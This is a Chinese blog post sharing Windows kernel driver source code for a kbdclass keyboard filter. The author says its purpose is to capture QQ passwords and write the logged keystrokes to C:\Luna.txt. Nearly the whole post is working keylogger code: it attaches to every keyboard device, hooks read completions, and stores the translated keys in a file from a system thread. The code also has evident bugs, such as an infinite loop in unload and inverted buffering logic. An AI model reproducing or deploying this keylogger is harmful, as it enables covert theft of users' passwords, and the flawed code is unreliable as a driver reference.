• Windows驱动过滤--kdbclass过滤,寒江独钓加强版


    寒江独钓键盘过滤,修改了下,过滤QQ密码写入buff,有 回车 或者buff满写入文件,因为irp完成,irp对应的内存快回收,所以用全局缓冲区。开启一个线程写入,开始打算用队例一个一个处理irp的,但是发现那样比较缓慢,只好这样了。。创建进程回调代码加几行就行,这里没写,因为代码丢失了,算是个大概的代码吧。给初学的分享下。有错指出,谢谢。

    前辈们不要见笑了。

    struct.h

    /************************************/
    //author:DuanYueming
    //data: 02/05/2015
    //File: Lstruct.h 
    /************************************/
    #ifndef _LSTRUCT_H_
    #define _LSTRUCT_H_
    
    typedef struct _DEVICE_EXTENSION 
    {
    	PDEVICE_OBJECT pDeviceObj;
    	PDEVICE_OBJECT pAttachDev; //上层设备
    	PDEVICE_OBJECT pLowDevice; //底层设备
    	PDEVICE_OBJECT pStorageDev; //存储的设备
    	PDEVICE_OBJECT pTarDevice; //目标设备
    	UNICODE_STRING MyDeviceName;
    	UNICODE_STRING MyDeviceSym;
    	ULONG pMyDevFlg;
    	IO_REMOVE_LOCK MoveLock;
    }DEVICE_EXTENSION,*PDEVICE_EXTENSION;
    
    typedef struct _MultVar
    {
      PVOID pBuff;
      KEVENT WaitEvent;
      ULONG  Length;
    }MULTVAR,*PMULTVAR;
    
    #define  BUFF_SIZE 256
    
    typedef struct _MY_BUFF
    {
    	PUCHAR pBuf;
    	int MaxSize;
    	int CurSize;
    	int Offset;
    
    }MYBUFF,*PMYBUFF;
    
    
    
    
    typedef struct  _MY_DATA
    {   
    	PIRP Irp;
    	PVOID pBuff;
    	LIST_ENTRY ListEntry;
    }MY_DATA,*PMYDATA;
    

      

    #define  MyDeviceFlags 'LUNA'
    #define  MyCdoDeviceFlags 'LCdo'
    #define  RemoveTag  'Lmn'
    #define DELAY_ONE_MICROSECOND   (-10)
    #define DELAY_ONE_MILLISECOND   (DELAY_ONE_MICROSECOND*1000)
    #define DELAY_ONE_SECOND        (DELAY_ONE_MILLISECOND*1000)
    
    #define IS_MY_DEVICE_OBJECT(_obj)  
    	(((PDEVICE_EXTENSION)_obj->DeviceExtension)->pMyDevFlg == MyCdoDeviceFlags || PDEVICE_EXTENSION(_obj->DeviceExtension)->pMyDevFlg == MyDeviceFlags)
    
    #define IS_MY_CONTROL_DEVICE(_obj)  
    	(((PDEVICE_EXTENSION)_obj->DeviceExtension)->pMyDevFlg == MyCdoDeviceFlags)
    

      

    /********未归档函数************/
    NTSTATUS
    	ObReferenceObjectByName(
    	PUNICODE_STRING ObjectName,
    	ULONG Attributes,
    	PACCESS_STATE AccessState,
    	ACCESS_MASK DesiredAccess,
    	POBJECT_TYPE ObjectType,
    	KPROCESSOR_MODE AccessMode,
    	PVOID ParseContext,
    	PVOID *Object
    	);
    
    extern POBJECT_TYPE *IoDriverObjectType;
    

      

    NTSTATUS LQueryObjectName(PVOID Lobject,PUNICODE_STRING name)//查询文件名
    {
    	NTSTATUS status;
    	POBJECT_NAME_INFORMATION pBuff;
    	WCHAR cache[64];
    	ULONG NeedLength;
    	pBuff = (POBJECT_NAME_INFORMATION)cache;
    	status = ObQueryNameString(Lobject,pBuff,64*sizeof(WCHAR),&NeedLength);
    	if (status == STATUS_INFO_LENGTH_MISMATCH)
    	{
    		pBuff =(POBJECT_NAME_INFORMATION) ExAllocatePool(NonPagedPool,NeedLength);
    		if (pBuff == NULL)
    		{
    			return STATUS_INSUFFICIENT_RESOURCES;
    		}
    		RtlZeroMemory(pBuff,NeedLength);
    		status = ObQueryNameString(Lobject,pBuff,NeedLength,&NeedLength);
    	}
    	name->Length = 0;
    	RtlCopyUnicodeString(name,&pBuff->Name);
    	return status;
    }
    
    VOID LUnInstallDriver(PDRIVER_OBJECT pDriverObject)
    {  
    	PDEVICE_EXTENSION pDevExt;
    	PRKTHREAD CurrentThread;
    	LARGE_INTEGER time;
    	PDEVICE_OBJECT  pDevObj;
    	time = RtlConvertLongToLargeInteger(100*DELAY_ONE_SECOND);
    	pDevObj = pDriverObject->DeviceObject;
    	CurrentThread = KeGetCurrentThread();
    	KeSetPriorityThread(CurrentThread,LOW_REALTIME_PRIORITY);
    
    	while (pDevObj)
    	{
    		pDevExt =(PDEVICE_EXTENSION) pDevObj->DeviceExtension;
    		IoDeleteSymbolicLink(&pDevExt->MyDeviceSym);
    		pDevObj = pDevObj->NextDevice;
    		IoDetachDevice(pDevExt->pLowDevice);
    		IoDeleteDevice(pDevExt->pDeviceObj);
    	}
    	while (1)
    	{
    
    	}
    
    
    
    	KdPrint(("Driver UnInstall Complete,leave
    "));
    }
    NTSTATUS LDispatchRoutine(PDEVICE_OBJECT pDeviceObject,PIRP pIrp)
    {   
    	PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(pIrp);
    	IoSkipCurrentIrpStackLocation(pIrp);
    	return  IoCallDriver(((PDEVICE_EXTENSION)pDeviceObject->DeviceExtension)->pLowDevice,pIrp);
    }
    

      以下是代码:

    #include "QFilter.h"
    
    
    NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject,PUNICODE_STRING pRegistryPath)
    {
    	int i;
    	NTSTATUS status;
    	HANDLE Thread;
    	
    	/********初始化全局变量***********/
    	IsWriteData = FALSE;
    	IsNeedFilter = FALSE;
    	InitializeListHead(&g_list);
    	
    	g_buff =(PMYBUFF) ExAllocatePool(NonPagedPool,sizeof(MYBUFF));
    	if (g_buff ==NULL)
    	{
    		KdPrint(("no through memory 
    "));
    		return 0;
    	}
    	else
    	{
    		g_buff->pBuf =(PUCHAR)ExAllocatePool(NonPagedPool,BUFF_SIZE);
    		ASSERT(g_buff->pBuf);
    		g_buff->MaxSize = BUFF_SIZE;
    		g_buff->Offset = 0;
    		g_buff->CurSize = 0;
    	}
    
    	/********初始化全局变量***********/
    	pDriverObject->DriverUnload = LUnInstallDriver;
    	for (i = 0;i <IRP_MJ_MAXIMUM_FUNCTION;i++)
    	{
    		pDriverObject->MajorFunction[i] = LDispatchRoutine;
    	}
    
    	pDriverObject->MajorFunction[IRP_MJ_READ] = ReadRoutine;
    	pDriverObject->MajorFunction[IRP_MJ_POWER] = PowerRoutine;
    	pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = ContrlRoutine;
    	//pDriverObject->MajorFunction[IRP_MJ_CLOSE] = CloseIrp;
    
    
    	status = CreateMyCDODevice(pDriverObject);
    	if (!NT_SUCCESS(status))
    	{
    		return status;
    	}
    	status = BindKbdDriver(pDriverObject);
    	if (!NT_SUCCESS(status))
    	{
    		return status;
    	}
    	status = PsCreateSystemThread(&Thread,GENERIC_ALL,NULL,NULL,NULL,ProcessIrp,NULL);
    	if (!NT_SUCCESS(status))
    	{
    		KdPrint(("Create Thread Failed 
    "));
    		return status;
    	}
    	KdPrint(("Start Kbd Filter SuccessFuly 
    "));
    	return STATUS_SUCCESS;
    }
    VOID ProcessIrp(PVOID pContext)
    {   
    //	PMYDATA data;
    	PVOID buff = NULL;
        for (;;)
        {
        //    PLIST_ENTRY HeadData = RemoveHeadList(&g_list);	
    	//	data = CONTAINING_RECORD(HeadData,MY_DATA,ListEntry);
    		if (IsWriteData == TRUE&& g_buff->pBuf != NULL)
    		{  
    			KdPrint(("hehehehe
    "));
    			KdPrint(("111
    "));
    			KdPrint(("2222
    "));
    			MyWriteDataFile();
    			RtlZeroMemory(g_buff->pBuf,g_buff->MaxSize);
    			g_buff->CurSize = 0;
    			g_buff->Offset = 0;
    		}
        }
    }
    
    
    NTSTATUS PowerRoutine(PDEVICE_OBJECT pDeviceObj,PIRP pIrp)
    {
       PoStartNextPowerIrp(pIrp);
       IoSkipCurrentIrpStackLocation(pIrp);
       return PoCallDriver(((PDEVICE_EXTENSION)pDeviceObj->DeviceExtension)->pLowDevice,pIrp);
    }
    NTSTATUS CreateMyCDODevice(PDRIVER_OBJECT pDriverObj)
    {
    	NTSTATUS status;
    	UNICODE_STRING DevSym;
    	UNICODE_STRING DevName;
    	PDEVICE_OBJECT pNewDev;
    	PDEVICE_EXTENSION pDevExt;
    	RtlInitUnicodeString(&DevName,L"\Device\QFilter");
    	
    	status = IoCreateDevice(pDriverObj,sizeof(DEVICE_EXTENSION),&DevName,FILE_DEVICE_UNKNOWN,0,TRUE,&pNewDev);
    	if (!NT_SUCCESS(status))
    	{
    	   KdPrint(("Create CDO DevObj Failed 
    "));
    	   return status;
    	}
    	RtlInitUnicodeString(&DevSym,L"\??\QFilterSym");
        status = IoCreateSymbolicLink(&DevSym,&DevName);
    	if (!NT_SUCCESS(status))
    	{
    		KdPrint(("Create Cdo Symbolic Failed 
    "));
    		IoDeleteDevice(pNewDev);
    		return status;
    	}
    	pNewDev->Flags |=DO_BUFFERED_IO;
    	pDevExt = (PDEVICE_EXTENSION)pNewDev->DeviceExtension;
    	pDevExt->pMyDevFlg = MyCdoDeviceFlags;
    	pDevExt->MyDeviceName = DevName;
    	pDevExt->pDeviceObj = pNewDev;
    	pDevExt->MyDeviceSym = DevSym;
    	
    	return STATUS_SUCCESS;
    }
    
    NTSTATUS BindKbdDriver(PDRIVER_OBJECT pDriverObj)
    {
    	UNICODE_STRING kbdClass;
    	PDEVICE_OBJECT pNewDev;
    	PDEVICE_OBJECT pTarDev;
    	PDEVICE_OBJECT pLowDev;
    	PDEVICE_EXTENSION pDevExt;
    	PDRIVER_OBJECT pKbdDrOb;
    	NTSTATUS status = STATUS_SUCCESS;
    
    	RtlInitUnicodeString(&kbdClass,L"\Driver\kbdclass");
    	status = ObReferenceObjectByName(&kbdClass,OBJ_CASE_INSENSITIVE,NULL,0,*IoDriverObjectType,KernelMode,NULL,(PVOID*)&pKbdDrOb);
    	if (!NT_SUCCESS(status))
    	{
    		KdPrint(("Load KbdObj Failed :%x
    ",status));
    		return status;
    	}
    
    	ObDereferenceObject(pKbdDrOb);
    	pTarDev = pKbdDrOb->DeviceObject;
    	while (pTarDev)
    	{
    		status = IoCreateDevice(pDriverObj,sizeof(DEVICE_EXTENSION),NULL,pTarDev->DeviceType,pTarDev->Characteristics,FALSE,&pNewDev);
    		if (!NT_SUCCESS(status))
    		{
    			KdPrint(("Create Device Failed:%x
    ",status));
    			return status;
    		}
    		else
    		{
    			status = IoAttachDeviceToDeviceStackSafe(pNewDev,pTarDev,&pLowDev);
    			if (!NT_SUCCESS(status))
    			{    
    				KdPrint(("Bind Failed 
    "));
    				return status;
    			}
    		    pDevExt = (PDEVICE_EXTENSION)pNewDev->DeviceExtension;
    			pNewDev->Flags |= pLowDev->Flags&(DO_BUFFERED_IO | DO_DIRECT_IO |DO_POWER_PAGABLE);
    			pNewDev->Flags &= ~DO_DEVICE_INITIALIZING;
    			pDevExt->pDeviceObj = pNewDev;
    			pDevExt->pMyDevFlg = MyDeviceFlags;
    			pDevExt->pLowDevice = pLowDev;
    			pDevExt->pAttachDev = pTarDev;
    			pNewDev->StackSize = pDevExt->pLowDevice->StackSize+1;
    			//IoInitializeRemoveLock(&pDevExt->MoveLock,0,0,0);
    		}
    		pTarDev = pTarDev->NextDevice;
    	}
    	RtlInitUnicodeString(&FileName,L"\DosDevices\C:\Luna.txt");
    	KdPrint(("Complete Device Bind 
    "));
    	return STATUS_SUCCESS;
    }
    
    VOID MyWriteDataFile()
    {   
    	HANDLE handl;
    	OBJECT_ATTRIBUTES objAttr;
    	IO_STATUS_BLOCK block;
    	NTSTATUS status;
        InitializeObjectAttributes(&objAttr,&FileName,OBJ_CASE_INSENSITIVE,NULL,NULL);
    	status = ZwCreateFile(&handl,GENERIC_WRITE,&objAttr,&block,NULL,FILE_ATTRIBUTE_NORMAL,0,FILE_OPEN_IF,FILE_SYNCHRONOUS_IO_NONALERT,NULL,0);
    	if (!NT_SUCCESS(status))
    	{
    		KdPrint(("Create File Storage data Failed:%x",status));
    		return;
    	}
    		status = ZwWriteFile(handl,NULL,NULL,NULL,&block,g_buff->pBuf,g_buff->CurSize,0,NULL);
    		if (!NT_SUCCESS(status))
    		{
    			KdPrint(("WriteFile Failed:%X 
    ",status));
    			ZwClose(handl);
    			return;
    		}
    		KdPrint((" code:%C 
    ",g_buff->pBuf));
     	ZwClose(handl);
    }
    
    NTSTATUS ReadCompleteFun(PDEVICE_OBJECT pDeviceObj,PIRP pIrp,PVOID pContext)
    {   
    	ULONG KeyStructNum;
    	PKEYBOARD_INPUT_DATA ptr;
    	ULONG i;
    	UCHAR ASCIICODE;
    	if(/*IsNeedFilter &&*/NT_SUCCESS(pIrp->IoStatus.Status)  )
    	{
    	   KeyStructNum = pIrp->IoStatus.Information/(pIrp->IoStatus.Information/sizeof(KEYBOARD_INPUT_DATA));
    	   ptr =(PKEYBOARD_INPUT_DATA) pIrp->AssociatedIrp.SystemBuffer;
    	   for (i =0 ;i <KeyStructNum;++i)
    	   {   
    		      ASCIICODE = print_keystroke(ptr[i].MakeCode);
    		   if(g_buff->Offset >= (BUFF_SIZE-(5*UCHARSIZE)) || ASCIICODE == '0x0D')
    		   {    			  
    			   KdPrint(("steup write data!!!!!!!!!!!!!!!!!!!
    "));
    			   IsWriteData =TRUE;
    			   RtlCopyMemory(((g_buff->pBuf)+(g_buff->Offset)),&ASCIICODE,UCHARSIZE);
    			   g_buff->Offset += UCHARSIZE;
    			   g_buff->CurSize +=UCHARSIZE;
    		   }
    		   else
    		   { 
    			   IsWriteData =FALSE;
    			   KdPrint(("------buff small---Start Write Data to File-- 
    "));
    		   }
    	   }
    	}
       
       if (pIrp->PendingReturned)
       {
    	   IoMarkIrpPending(pIrp);
       }
    	return pIrp->IoStatus.Status;
    }
    
    NTSTATUS ReadRoutine(PDEVICE_OBJECT pDeviceObj,PIRP pIrp)
    {
       PIO_STACK_LOCATION stack;
       NTSTATUS status = STATUS_SUCCESS;
       if (pIrp->CurrentLocation ==1)
       {
    	   pIrp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;
    	   pIrp->IoStatus.Information = 0;
    	   IoCompleteRequest(pIrp,IO_NO_INCREMENT);
    	   return STATUS_INVALID_DEVICE_REQUEST;
       }
       if (IS_MY_CONTROL_DEVICE(pDeviceObj))
       {
    	   pIrp->IoStatus.Status = STATUS_SUCCESS;
    	   pIrp->IoStatus.Information = 0;
    	   IoCompleteRequest(pIrp,IO_NO_INCREMENT);
    	   return STATUS_SUCCESS;
       }
     
       stack = IoGetCurrentIrpStackLocation(pIrp);
       IoCopyCurrentIrpStackLocationToNext(pIrp);
       IoSetCompletionRoutine(pIrp,ReadCompleteFun,NULL,TRUE,TRUE,TRUE);
      return IoCallDriver(((PDEVICE_EXTENSION)pDeviceObj->DeviceExtension)->pLowDevice,pIrp);
    
    }
    
    NTSTATUS ContrlRoutine(PDEVICE_OBJECT pDeviceObj,PIRP pIrp)
    {
    	PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(pIrp);
    
    	if (IS_MY_CONTROL_DEVICE(pDeviceObj))
    	{
    		switch(stack->Parameters.DeviceIoControl.IoControlCode)
    		{
    			
    
    		}
    	}
    
    
    
    	switch(stack->Parameters.DeviceIoControl.IoControlCode)
    	{
    	default:
    		  IoSkipCurrentIrpStackLocation(pIrp);
    		  return IoCallDriver(((PDEVICE_EXTENSION)pDeviceObj->DeviceExtension)->pLowDevice,pIrp);
    	}
    
    }
    

      

  • 相关阅读:
    CSS3——复杂选择器
    单元测试覆盖率设置
    你必须了解的「架构」小历史
    js正则表达式:学习网址和部分正则验证
    转: js实现全角半角检测的方法
    Linux and the Unix Philosophy(1)
    HTML DOM 对象
    理解css中的 content:" " 是什么意思
    JS
    js
  • 原文地址:https://www.cnblogs.com/dragonmoon/p/4311895.html
Copyright © 2020-2023  润新知